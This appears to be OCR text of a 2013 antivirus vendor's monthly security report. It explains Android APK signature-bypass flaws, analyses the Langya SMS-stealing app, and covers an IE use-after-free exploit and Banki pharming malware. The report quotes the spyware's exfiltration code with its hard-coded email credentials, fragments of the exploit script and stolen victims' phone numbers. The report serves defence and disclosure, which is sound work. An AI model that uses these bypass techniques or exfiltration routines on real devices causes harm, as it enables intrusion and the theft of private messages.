File data location :

Local file header location + 30 + (11 +0)

File name length ~ 0x000B
Extra field length  0x0000

File name “classes.dex”
Extra field (%! glo|&)

File data 1

!

Figure 1-56 | File data location

Android certificate bypass vulnerability
1. Master Key vulnerability

If the APK file contains more than two files with the same path,
the Java code recognizes only the last file but the C++ program
recognizes only the first file. As a result, the malicious file can
be installed despite the fact that Java authorizes apps with

normal files.

Malicious apps exploit this difference to bypass the app integrity
verification and execute the actual malicious DEX or other
duplicated malicious files by including the malicious DEX at the
front of the classes.dex file of normal APKs.

The App developed

. Insert malicious DEX
using normal process

META-INF / META-INF /

. MANIFESTMF | MANIFESTMF
E
AndroidManifest.xml g AndroidManifest.xml
resources.arsc 3 resources.arsc Verify integrity (Javal
classes dex
W_ | Actual execution (C++)

Figure 1-57 | Master key vulnerability

Vulnerability details
Android devices perform file integrity verifications using the

methods listed in the following [Table 1-8].
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PackageManagerService.installPackageLl() Install apps (If the following
functions are called)
L) PackageParser.collectCertificates() Load app certificates (for all files)
L) PackageParser. loadCertificates() Load specific file certificates
L) JarEntry.getinputStream() Get streams
L) JarFilelnputStream.read|() Perform integrity verifications
while reading files
L) VerifierEntry.verify() Save verificiation results in the
verifiedEntries ** Vulnerability occurs
L) JarEntry.getCertificates() Load file certificates
L) JarVerifier.getCertificates(getNamel()) Get certificates
through file names ** Vulnerability relevance
L) PackageManagerService.scanPackageLl() Install apps
L) PackageManagerService. verifySignaturesLP()
Verify certificates for all files
L) PackageManagerService.compareSignatures|()
Verify certificates for all files

Table 1-8 | Android app installation call tree

The file hash and certificate information for integrity verification
are saved in the APK META-INF folder. The Android system
checks app damages by comparing these values with certificate
values of all files. The vulnerability occurs through this process
and these values are saved in the Hashtable (see [[Table 1-9])
when certification information for all files are loaded and collected

in the beginning.

/luni/src/main/java/java/util/jar/JarVerifier.java
The following functions are called when the file data is read through
the app JarFile object, and the file name and its certificate information
are included in the verifiedEntries variable. However, the vulnerability
occurs as the file name is set for the key.
void VerifierEntry.verify() {

byte[] d = digest.digest(); // digest.digest() is a file data hash

if ('MessageDigest.isEqual(d, Baseb4.decode(hash))) { // Comparing
values with the hash saved in META-INF

throw invalidDigest(JarFile. MANIFEST_NAME, name, jarName);

}

verifiedEntries.put(name, certificates);

}

/luni/src/main/java/java/util/jar/JarEntry.java
Certificate information saved above is returned. The problem occurs
as the data with above vulnerability is used.
Certificate[] JarEntry.getCertificates(String name] {

Certificatel] verifiedCerts = verifiedEntries.get(name);

if (verifiedCerts == null] {

return null;
}

return verifiedCerts.clone();

}

Table 1-10 | Vulnerability occurring location

private final Hashtable<String, Certificate[]> verifiedEntries = new
Hashtable<String, Certificate[]>();

Table 1-9 | Variables saving certificate information by exploiting
vulnerability

The Hashtable data type saves a dictionary keyword and its
meaning as a pair. A key and its actual value are saved as a pair to
distinguish the data. There is no duplicate key value as a keyword
is unique in the dictionary. If two values are entered for the same

keyword, the existing value is changed into the latter value.

For example, one of the variables listed in [Table 1-9] saves the
data by setting its file name as Key and saving the certificate
data as value. If there are n-files with the same name, certificate
data for all previous files (n-1) is changed with the certificate
information of the last file. In short, accessing data through the
above variable verifiedEntries['File name'] displays certificate data

of the last file.
[Table 1-10] shows vulnerability codes of actual problems.

Due to the above vulnerability codes, the Android system recognizes
the malicious apps as normal apps despite the malicious DEX
being added to the zip file. In addition, there have been reports that
duplicated AndroidManifest.xml files are inserted to get several

permissions without the user's awareness.

2. Android decompression (C++)

C++ sources are listed in [Table 1-11] to compare with the Java
compression module, . The following source is the ZipArchive.
cpp source in the 'dalvik/libdex' library. Each function is a sub-
function of the dexUnzipToFile function that is used for extracting

the DEX to run apps in the Dalvik VM.

static int parseZipArchive(ZipArchive* pArchive) { // Parsing Zip
int numEntries = pArchive->mNumEntries;

// Generate HashTables proportional to the zip entry number
pArchive->mHashTableSize = dexRoundUpPower2(1 + (numEntries * 4] / 3);
pArchive->mHashTable = (ZipHashEntry*)calloc(pArchive->
mHashTableSize, sizeof(ZipHashEntry));

for (i = 0; i < numEntries; i++) {
// Add data at the end of array
addToHash(pArchive, (const char*)ptr + kKCDELen, fileNamelen, hash);
}
}

ZipEntry dexZipFindEntry(const ZipArchive* pArchive, const char*
entryName) { // Return DEX entry
// Return entries with the same name as looping over the array
while (pArchive->mHashTable[ent].name = NULL] {
if (pArchive->mHashTable[ent].nameLen == nameLen &&
memcmplpArchive->mHashTable[ent].name, entryName,
nameLen) ==0) {
// Return entries
}
}
}

// The above entries are simple arrays of the following structure.
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struct ZipHashEntry {
const char* name;
unsigned short namelLen;

I

Table 1-11 | C++ source different from Java

Unlike Java, the data used by functions above is saved as a simple
array. As a result, the first DEX is effective despite the DEX file

being compressed with duplicated names.

The implementation difference that Android verifies data integrity
through the last DEX and executes the first DEX is the underlying

cause of the vulnerability.

3. Local header vulnerability

When Java converts the short data type into the int data type, Java
recognizes numbers greater than 2*15 as negative values but the
native unzip module created with C++ does not recognize them
as negative values. The vulnerability occurs because Java for
certificate authentication recognizes ExtralLength sizes greater
than 2”15 as negative values but C++ does not recognize them as

negative values during header parsing.

Vulnerability details
The following codes indicate problems arising when Java converts

the short data type into the int data type.

public class a {
public static void main (String [] args)

short a = (short) OxFFFF;
int b;

b = a;
System.out.println (b);

b = a & OxFFFF;
System.out.println (b);

H

Figure 1-58 | Codes indicating problems in converting short data
type into int data type

The code execution above generates the following results.

=
65535
ZIP local file header
Offset Bytes Description'®)
0 4 Local file header signature = 0x04034b50 (read as a little-endian number)
4 2 Version needed to extract (minimum)
6 2 General purpose bit flag
8 2 Compression method
10 2 File last modification time
12 2 File last modification date
14 4 CRC-32
18 4 Compressed size
22 4 Uncompressed size
26 2 File name length (n)
28 2 Extra field length (m)
30 n File name
30+n m Extra field

Figure 1-59 | Zip local file header
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[Figure 1-59] shows the local file header. In the figure above,
variables have fixed lengths except the file name and the extra
field. The file name and the extra field can be decided based on

the file name length and the extra field length (2-byte).

[Figure 1-60] shows the functions that extract individual files to

verify APK file integrity check in the Android devices.

public InputStream getInputStream(ZipEntry entry) throus I0Exception
/7 Make sure this ZipEntry is in this 2ip file. We run it through the name lookup.
entry = getEntry(entry.getName());
if (entry == null) ¢
return null;
¥

/7 Create an InputStream at the right part of the file.
RandomAccessFile raf = mRaf;

synchronized (raf) ¢

/7 We don't know the entry data‘s start position. All we have is the

/7 position of the entry's local header. At position 28 we find the

/7 length of the extra data. In some cases this length differs from

// the one coming in the central header.

RAFStream rafstrm = new RAFStream(raf, entry.mLocalHeaderRelOffset + 28);
DatalnputStream is = new DatalnputStream(rafstrm);

int localExtral ever - Short. ytes(is. 0);
is.close();

// Skip the name and this “extra’ data or whatever it is:
rafstrn.skip(entry.naneLength + localExtralenOrWhatever);
vafstrn.nlength = rafstrm.nOFFset + entry.compressedSize;

if (entry.compressionMethod == ZipEntry.DEFLATED) {

int bufSize = Math.max(1024, (int)Math.min(entry.getsize(), 65535L));
return new ZipInflaterInputStream(rafstrm, new Inflater(true), bufSize, entry);
} else {

return rafstrm;
¥
¥
¥

Figure 1-60 | Get Input Stream (Zip Entry)

The localExtraLenOrWhatever means the Extra Field length in
the local file header. In the first red box, the short data type is
allocated to the int data type and Java conversion returns negative
values if the number is higher than 2*15. In the second red box,
the ‘rafstrm.skip(entry.nameLength + localExtraLenOrWhatever);'
result cannot skip the extra field normally. This means the
malicious application can bypass Android authentication if the

source file is in the extra field.

local file header local file header

file name file name
("classes.dex") ("classes.dex")
/’//
-
extra field 7 : X
e ! orginal
- :
g classes.dex
extra field
File data -
(classes.dex) ///
/’//
File data
(hacked

classes.dex)

Figure 1-61 | Local file header vulnerability diagram

As the local file header vulnerability depends on the size of the
extra field, this vulnerability occurs only when the source classes.

dex size is equal to or less than 2"16-1 (64K).

4. Central Header Vulnerability

This vulnerability exists in Java when it processes the extraLength
size greater than 0 and does not process the extraLength size

less than 0.
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Android is developed with both Java and C++ 2, which contains
programs with both computer languages. The Android verification
module for application installation programs is developed with

Java, while the installation module is developed with C++.

The 'extra length’ and ‘comment length’ existing in the
central header of zip files are 2-byte data type. The certificate
authentication module among Android application installation
modules handles 2-byte data type as short using Java language,
while the installation module handles 2-byte data type as

‘unsigned short’ using C++ language.

In [Figure 1-62], Java expresses '0x8000' as '-32768' but C++
expresses as '+32768". This is because Java does not support

the 'unsigned’ data type.
JAVA
public class Test {

public static void main(String[] args) {
int nTestData = (short)0x8000;
System.out.println(nTestData);

: : C++
#include <stdio.h>

void main(veid) { - D:Wtest>
unsigned short nTestData = 0x8000; 32768

printf("id\n", nTestData);

}

Figure 1-62 | Java and C++ data type

Android source code handles data if the ‘extraLength’ size is
greater than 0. And it does not handle any data if the size is

equal to or less than 0.

int extralLength = it.readShort();
int commentByteCount = it.readShort();

This is a 32-bit value in the file, but a 64-bit field in this object.
it.seek(42);
localHeaderRelOffset = ((long) it.readInt()) & exffffffffL;

byte[] nameBytes = new byte[nameLength];

Streams.readFully(in, nameBytes, @, nameBytes.length);

name = new String(nameBytes, @, nameBytes.length, StandardCharsets.UTF_8);
The RI has always assumed UTF-8. (If GPBF_UTF8_FLAG isn't set, the encoding is
actually IBM-437.

if (commentByteCount > @) {
byte[] commentBytes = new byte[commentByteCount];
Streams.readFully(in, commentBytes, @, commentByteCount);
comment = new String(commentBytes, @, commentBytes.length, StandardCharsets.UTF_8);

)
-Process only when it's bigger than 0

ralLength];
Streams.readFully(in, extra, @, extralength);

Figure 1-63 | Java handling the central header

If attackers respectively set negative values for Java and positive
values for C++ in the 'Extra field length® and the "File comment

length’, they can control the zip compression file translation.

When Android applications are installed, the certificate
verification does not verify the files and the directory files
in the "META-INF" directory which contains the necessary

authentication data.

If you create temporary files in the sub-directory of "META-INF
and set '0x8000° for 'Extra fiel

17

final JarEntry je = entries.nextElement():
(£ (3e.isDirectory()) continue;)mmDon't process when it's directory

final String name = je.getName():
Don't process the files in
(if (name.startswith("META-INE/"))) ) _
continue; META-INF directory

Figure 1-64 | Java directory verification

d length’, Java recognizes no 'Extra field" because the value less
than 0 is recognized as '-32768". The C++ recognizes the 'Extra

field' size as '32768'.

As shown in [Figure 1-65], Java reads the ‘Central directory
header’ from the 'Extra field’, but C++ reads the 'Central
directory header’ in the next zone by skipping the 'Extra field’
whose size is '32768". As a result, Java and C++ read totally
different ‘Central directory headers’ and the referential ‘Local

file headers' can be configured differently.

C++
Skip 32768 bytes which

is the size of extra field

File data 1

File data 2

«—

File data 3

File data 4

Extra field length = 0x8000

JAVA
No ‘Extra field"is identified| Central directory headers 1 ]

because the size of extra field i

Pa—
is recognized as -32768" and(_ Central directory headers 2 }—

it makes the value less than 0.

Figure 1-65 | Central header vulnerability diagram

Samples exploiting master key vulnerability

ASEC has found more than 40 of POC samples or vulnerability
attack samples in July. [Figure 1-66] shows samples exploiting

this vulnerability.

@l } - AhnLab V3 Zip 20 (= E ]
UFR TBA) EFO) 2V EBO) FARIR) SBUH)
R BB R
METS US| DEFt UsE’ =22
W] Occas4a5e4909 K 8 37 A3 UYSE R 3 &R
y o )i res Y g0 1601-01-0
T Ji com llegal  mg =G 1601-01-0
) Dy s 014
| METAINF b assets A_AI; 20 1601-01-0
7 res 1 Legitimate e 8o 1601-01-0
3 | META-INF oY 29 1601-01-0
=] AndroidManifest.xml 15,29, 2, 79% XML A 2013-07-2
=’ AndroidManifest.xml 10,728 80 77% XML A 2013-07-2
resources.arsc 124452 ,138 74% ARSC Tt 2013-07-2
|| classes.dex 945 34 391,428 59% DEX Ity 2013-07-2
| classes.dex 869,152 360,646 59% DEX D@ 2013-07-2
< [m v |« i ’
0 TR A%, 06101 2 318 T}y, 275MB

Figure 1-66 | Vulnerability POC samples

[Figure 1-66] shows malicious samples that contain two DEXs and
AndroidManifest.xml files. As shown in the directory structure,

the malicious file and the normal file exist in sequence. The
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normal files are used for the integrity check to exploit the above

vulnerability.

+Name Ext Size Date Attr
&R <DIR> 2013-08-2017:27 —
[ lassets] <DIR> 2013-08-2016:30 —

llegal  <DIR> 2013-082016:30 —

[Jtcom]
(Jm <DIR> 2013-08-2016:30 -—
[JIMETA-INF] <DIR>

2013-08-2016:30 —

(Jtres] = <DIR> 2013-08-2016:30 -
|1 AndroidManifest.xml / 15,292 2013-07-21 04:45 —
| ] AndroidManife aml Legitimate 10.728 2013-07-2104:45 —
| ' classes.dex /_’/_,_/—'-" 945,340 2013-07-2104:45 —
869.152 2013-07-2104:45 —

| ' classes_1.dex
[ d p@oms,xiaohua. ti light-1.apk@classes.dex 970.576 2013-08-2017:15 -a--

DEY file generated after executing the App 124,452 2013-07-2104:45 —

|| resources.arsc

Figure 1-67 | Additional DEY file created upon app execution

[Figure 1-67] shows the APK decompressed folder that contains
the extracted DEY files created during the above app installation
and execution above. The DEY file is an optimized DEX image file
to enhance application execution speed on the Dalvik VM, which
is saved in the folder ‘/data/dalvik-cache’. In short, the actually

executed DEX file is saved.

Search for: 4 -
Search in: |C:#TmpwOec4s4s) 1
RegEx Only search in selected directories/fl

Search archives (all except for uc2)

Search in subdirectories: all (unlimited depth)

[ Find text: R v
Whole words only Unicode UTF8
Case sensitive Hex
ASCI charset (DOS) RegEx (2)

Find files NOT containing the text

Search results:
[2 files and O directories found)
! pclasses.dex
1 Md_ata@app@cms xiachua.turnonlight-1.apk@classes. dé'd

Figure 1-68 | Inclusion of the same pattern as the malicious DEX
pattern

[Figure 1-68] shows the search results of files with similar DEX
file patterns. ‘malicious’ classes. dex files are searched instead of
the normal classes_1.dex file. It is verified that the malicious DEX

file is actually executed.

Android, the most popular mobile operating system in the world,
provides a great deal of autonomy to users and developers. Over
the years, this autonomy has been driving the third party markets
or causing security issues like repackaging. The PC malicious

code attackers are turning to mobile malware.

Considering this trend, the ‘'master key' vulnerability is firing
a flare to attract more attention of cyber attackers. The
methodologies of malware will become more rapidly advanced
and sophisticated as cyber criminals analyze this vulnerability

and develop malicious codes to avoid the user detection.

To protect your smartphone, always install apps through official
markets and do not install apps from suspicious URLs in SMS or
Kakao Talk messenger. Scan your installed programs regularly
with mobile antivirus software to enjoy your smartphone more

safely and conveniently.
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ASEC has developed and applied methods to V3 mobile products
to detect vulnerabilities verified so far. V3 mobile products detect
the malicious codes exploiting certificate-bypassing vulnerability
as Android-Trojan/SignatureBypass.Gen and Android-Trojan/
MasterKey.

Chinese Langya malicious app

Let's take a look at the Chineses Langya malicious app

specifically targeting Korean smartphone users.

@ Activate device administrator?

|'=| sample_device_admin

e Lock the screen

Cancel Activate

Figure 1-69 | Malicious app initial execution screen

Langya (JR3F) is a Chinese word, meaning ‘wild dog teeth'. The
threat has been named Langya because its activity and receiver

names are Langya in the malicious apps.

<2xml vers
<manifi

<uses-
<application
<activit:
<intent-fil

<action

<category a: >/ /B LANCHERE T RS ARFES

</intent-filter>
</activity>
<service

DCAST_SHS">

<action
<action
<catego
</intent-filter
</receiver>

Figure 1-70 | Activity and Receiver names of malicious apps

[Permission]

android.permission.WRITE_SMS
android.permission.RECEIVE_SMS
android.permission.READ_SMS
android.permission.INTERNET
android.permission.CAMERA
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
android.permission.READ_CONTACTS
android.permission.ACCESS_FINE_LOCATION
android.permission. ACCESS_COARSE_LOCATION
android.permission.READ_PHONE_STATE
android.permission.RECEIVE_BOOT_COMPLETED
android.permission.RECORD_AUDIO
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android.permission.CALL_PHONE
android.permission.READ_PHONE_STATE
android.permission.SEND_SMS
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_WIFI_STATE
android.permission.REBOOT
android.permission.PROCESS_OUTGOING_CALLS
android.permission.MODIFY_PHONE_STATE
android.permission.CALL_PHONE
android.permission.SYSTEM_ALERT_WINDOW
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.MOUNT_UNMOUNT_FILESYSTEMS
android.permission.INSTALL_PACKAGES
android.permission.CHANGE_NETWORK_STATE
android.permission.WAKE_LOCK
android.permission.MODIFY_AUDIO_SETTINGS

This malicious app requests many sensitive permissions related

to security.

[Major functions]

1. App removal prevention function (The app cannot be removed

using normal methods unless its user sets special settings.)

@ Activate device administrator?

lsl sample_device_admin

- 0O

e Lock the screen

Cancel Activate

Figure 1-71 | Device administrator permission request screen

When the malicious app is run, the code in [Figure 1-71] is executed

to request the Device Administrator permission (Lock the screen).

public void getAdminQ)

{

Intent locallntent = new Intent(

tent.putExtra('a
tent.putExtra("c
startActivityForResult(loc

Figure 1-72 | Device Admin permission request and function call codes
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If the Activate button is selected, the special permission (Lock the

screen) is given to the malicious app and the application manager

cannot remove the installed app.

@ App info

. o
'!| Google Service

Storage

Total
Application

USB storage app
Data

SD card

Figure 1-73 | Uninstall button disabled to prevent apps from being deleted

To delete the malicious apps, go to Setup > Security > Device

Manager menus and uncheck the 'sample_device_admin® item.

T .l W 612PM
@ Settings

Android Device Mana

Q 3 Device |

sample_device_admin
i coie-device ccn g

Figure 1-74 | sample_device_admin item

Now, the Uninstall button is enabled in the Application Manager

and the app can be removed.

2. When the malicious app is installed and initially executed, it hides

its icon in the application list.

2
e

Figure 1-75 | Malicious app icon displayed after installation
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The executed malicious app calls the setComponentEnabledSetting()

API function.

this.mDPM = ((DevicePolicyManager)getSystemService("device_policy"));
this.mDeviceAdminSample = new ComponentName(this, Ly234en.class);
if (!this.mDPM.isAdminActive(this.mDeviceAdminSample))

getAdmin();
getPackageManager (). setComponentEnabledSetting(getComponentName(), 2, 1);

Figure 1-76 | setComponentEnabledSetting() API function call

When the setComponentEnabledSetting() API function is called, the
malicious app icon disappears from the app list. (See [Figure 1-77].)

Apps Widgets ¥

SuperSU ffets

Figure 1-77 | Icon disappears after the initial execution

3. All incoming messages are transferred to the email account

specified by the attackers.

Langya malicious app monitors all text messages on the infected
devices and transfers them to the email account specified by the

malicious app creators.

The cybercriminal registered many email accounts that provide free

SMTP services from the Wangyi website.

Some of the accounts are used to send text messages stolen through
the malicious app on the Android device, and the rest of the accounts

are used to receive stolen messages.

According to the ASEC app analysis, the following email accounts are
used to receive stolen SMS.
wa*****2(@163.com

lw******2(@163.com

The outgoing email account codes are listed as below.

private String sendMail = "nvdaol®163.com";
private String sendMailPath = "smtp.163.com";
private String sendName = "nvdaol";

private String sendPassword = "al47852.";

catch (MessagingException localMessagingException)
{
System.out.printin(" &&= &ENEL2");
System. out.print(localMessagingException. toString());
}
try
{
this.sendMail = "nvdao2@163.com";
this. sendPassword = "al47852.";
this. from = new InternetAddress(this.sendMail);
this.message.setFrom(this. from);
this. transport = this.s.getTransport("smtp");
this. transport. connect(this. sendMailPath, "nvdao2", this.sendPassword);
this. transport.sendMessage(this.message, this.message.getAllRecipients());
this. transport.close();
System. out.println("&EE1H");
return false;

}
Figure 1-78 | Outgoing email account codes
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ASEC can check the stolen SMS messages by connecting to the
mail server since the malicious app does not delete outgoing emails

through n*****[@163.com.

SA(4
aizw012 01065615079
aizw012 01020404778
aizw012 01055858729
» aizw012 01036648071
BEBR(16)
= 012 01057575353
= 012 01057575353
= 012 01030180337
= 012 +821031111411
= 012 +821031111411
= 012 01090579182
= 012 01038377595
© 012 01095333534
o 012 01029892765& ML
= 012 01080007861
= 012 +821055014334
= 012 01063113421
= 012 01056206353
£ 012 01064146703
= 012 01020568833

Figure 1-79 | Sent Mail Box of n*****@163.com Account

Many stolen SMS messages exist in the email accounts. Clicking the
specific item can display the related message body. Dozens of SMS

messages were stolen at the time this report was being written.

What is interesting is that this Langya malicious app contains many
unutilized codes inside. Other Langya variants have various functions
like stealing the address books from the infected smartphones and
sending smishing text messages, but the newly analyzed Langya app
contains these functions as internal codes which have never been
used. Based on this fact, it seems a novice malicious apps developers
partially modified and deployed the existing Langya source codes.

There have been many similar reports made in China.

This malicious code can be detected and repaired with V3 Mobile

products.

<V3 Mobile detects this malware in the following forms.>

-Android-Spyware/Langya
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Security Trend

01.
Security Statistics

Microsoft Security Microsoft issued a total of 7 security updates (6 critical, 1 important] in July 2013.
Updates- July 2013
5
4
3
2
0
08 09 10 1 12 01 02 03 04 05 06 07
— SYSTEM — OFFICE SERVER
— IE

Figure 2-1 | MS Security Updates for each attack target

MS13-052  Vulnerabilities in .NET Framework and Sliverlight could allow
remote code execution.

MS13-053  Vulnerabilities in Windows Kernel mode driver could allow
remote code execution.

MS13-054  Vulnerabilities in GDI+ could allow remote code execution.

MS13-055  Cumulative Security Update for Internet Explorer

MS13-056  Vulnerability in Microsoft DirectShow could allow
remote code execution.

MS13-057  Vulnerability in Windows Media Format Runtime could allow
remote code execution.

Important

MS13-058  Vulnerability in Windows Defender could Allow Elevation of Privilege

Table 2-1 | MMS Security Updates for July 2013
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Security Trend

02.
Security Issues

Microsoft IE Use-After-Free vulnerability
(CVE-2013-3163) exploitation

Microsoft released a security update for exploits that took
advantage of zero-day vulnerability in the Internet Explorer
browsers. This vulnerability is an Internet Explorer Use-After-
Free vulnerability which causes a memory error by referring the
mshtml!CElement:'vftable' object memory which is deallocated

by the mshtmUATL_free function.

047b83d8 6362deb0 mshtml 'CElement : " vftable’
047b83dc 0000S000
0476830 00040006
047b83e4 00000000
04768328 00000000

Figure 2-2 | Before deallocating the memory

047083dS fOf0fOf0
047b83dc fOf0f0Of0
047083e0 fOf0f0f0
047b85e4 fOf0f0f0
047b83e8 fOf0f0Of0

Figure 2-3 | After deallocating the memory

mnshtnl!CElement: :Doc
6363fccd 8b0O1 nov

6363fccd £fd2 call  edx

6363fcch 8b400c nov

eax,dvord ptr [eax+0Ch]

Figure 2-4 | Memory reference error

Cyber attackers can perform the desired code execution by
exploiting this vulnerability The propagating exploits perform
malicious actions by interoperating with Internet browsers and

Adobe Flash Player files (SWF). (See [Figure 2-5].)

] = true;
XDGpCn3 ["applyElement”] (pCJeFpTaKl) ;
UkbkZ [ "scrollTop 1;
XDGpCN3 ["ariaBusy”]
pCIeFpTaKl.innerHTML = ' °;
CollectGarbage();
eval (unescape (EXWRZ1));

yi

= true;

function , T(b) {gf = b;}
function init() {
if (gf["length”] < 2) setTimeout("init();", 200);else Fop();
</script>
<body onLoad="init();">

<embed src=adl.swf width=10 height=1 0></embed>

Figure 2-5 | Exploits

Banki malware spreads through various
Korean sites

Recently, the number of malicious Bankis that interrupt normal
internet banking transactions is soaring in Korea. If the Banki
malware is executed in user PCs, it modifies the hosts file in
the infected PCs to direct users to fake bank sites to perform

pharming attacks.

1bz. nonGhyup. com

5 hizbiri.5‘1rhkn.cnﬂ

kiup. ibk. co.kr

online. keb.co.kr

5 obank. kbstar.com

bankinG. nonGhyup. chM
1b.woor ibank, com
AnkinG. shinhan, com

S mybank, ibk.co.kr

ibs.kfcc. co.kr

ebAnk. keb. co. kr

ib. scfirstbank. com

5 scfirstbank.com

5 kbsStAr.com

nonGhyup. coM

5 wooribank. com

shinhan. com

7S ibk.co.kr

hanabank . coM

kfcc. co. kr

5 keb.co.kr

epostbank. Go. kr

5 citibank. co.kr

standardchartered. co. kr

Figure 2-6 | Hosts file modification

Various Korean sites are exploited to distribute this malicious
Banki. This malicious Banki automatically infects the user PC
that is accessing the modified site, and then redirects the user
to the specific site installed with Web Exploit Toolkit. Despite the
fact that most of Banki files use the same names, it is not easy to
trace or analyze them because URLs and file names are changed

practically every day.

Figure 2-7 | Banki distribution codes
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Web Security Trends

01.

Web Security Statistics

Website malicious code
trends

Monthly Change
in Malicious Code

Reports

This month, SiteGuard (AhnLabls web browser security service) blocked 12,772 websites that
distributed malicious codes. 235 types of malicious codes, 226 domains with malicious codes,
and 734 URLs with malicious codes were found. Compared to the previous month, the number
of malicious code reports, domains with malicious codes and URLs with malicious codes

increased, whereas the number of malicious code types decreased.

Table 3-1 | Website security trends for July 2013

Reported malicious codes M Juy
; ; 0

Reported types of Domains with URLs with

malicious code malicious code malicious code

230 226 734

As of July 2013, the number of malicious code reports increased to 12,772, a 25.0% increase

from the 10,212 reported in the previous month.

Figure 3-1 | Monthly Change in Malicious Code Detections

2000 12,772

0,
UL - A 25.0%
10,000
5,000
07
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Monthly Change in the
Number of Reported
Malicious Code Types

Monthly Change
in Domains with
Malicious Codes

Monthly Change in
URLs with Malicious

Codes
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235 malicious code types were found in July 2013, a 7.8% decrease from the 255 found in the

previous month.

Figure 3-2 | Monthly Change in the Number of Reported Malicious Code Types

500
235
v 7.8%
CUBE Y BN et
07
0

226 domains were found with malicious codes in July 2013, a 28.4% increase from the 176

found in the previous month.

Figure 3-3 | Monthly Change in Domains with Malicious Codes

226

300
A 28.4%
200 e
100
07
0

As of July 2013, 734 URLs with malicious codes were reported, a 14.8% increase from the 641

found in the previous month.

Figure 3-4 | Monthly Change in URLs with Malicious Code

1,000
- 44 A 148%
750 e
500
250
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Spyware was the top distributed type of malicious codes with 5844 (45.8%) cases reported,

followed by the Trojan Horse with 4711 (36.9%) cases reported.

Type Report Percentage
SPYWARE 5,844 45.8 %
TROJAN 4,711 36.9 %
ADWARE 334 2.6 %
DROPPER 58 0.5%
DOWNLOADER 51 0.4 %
Win32/VIRUT 50 0.4 %
APPCARE 8 0.1 %
JOKE 2 0%
ETC 1,714 13.3%
12,772 100.0 %
Table 3-2 | Top Distributed Types of Malicious Codes
6,000 5,844
4,711
3,000
1,714
334
58 51 50 8 2
0 _ = = ?
& < S S & < <O
& & & & < & S © <&
@ N ®© © S S &
2 Q @% @\{\5 v
$

Figure 3-5 | Top Distributed Types of Malicious Codes

The most frequently reported malicious code among the top 10 distributed malicious codes

was Win-Spyware/Agent.544453(5767). A total of 4 malicious codes including Worm/Win32.

Luder were added to the top 10 list.

Ranking ™M Malicious Code Reports Percentage
1 - Win-Spyware/Agent.544453 5,767 54.1 %
2 A3 Trojan/Win32.Agent 2,986 28.0 %
3 — ALS/Bursted 515 4.8 %
4 NEW Worm/Win32.Luder 298 2.8%
5 Al Trojan/Win32.KorAd 262 2.4%
6 NEW Trojan/Win32.Starter 208 1.9 %
7 A2 ALS/Qfas 201 1.9 %
7 Al Adware/Win32.Clicker 201 1.9 %
9 NEW Win32/Induc 124 1.2%
10 NEW Trojan/Win32.Genome 105 1.0%
TOTAL 10,667 100.0 %

Table 3-3 | Top 10 Distributed Malicious Codes
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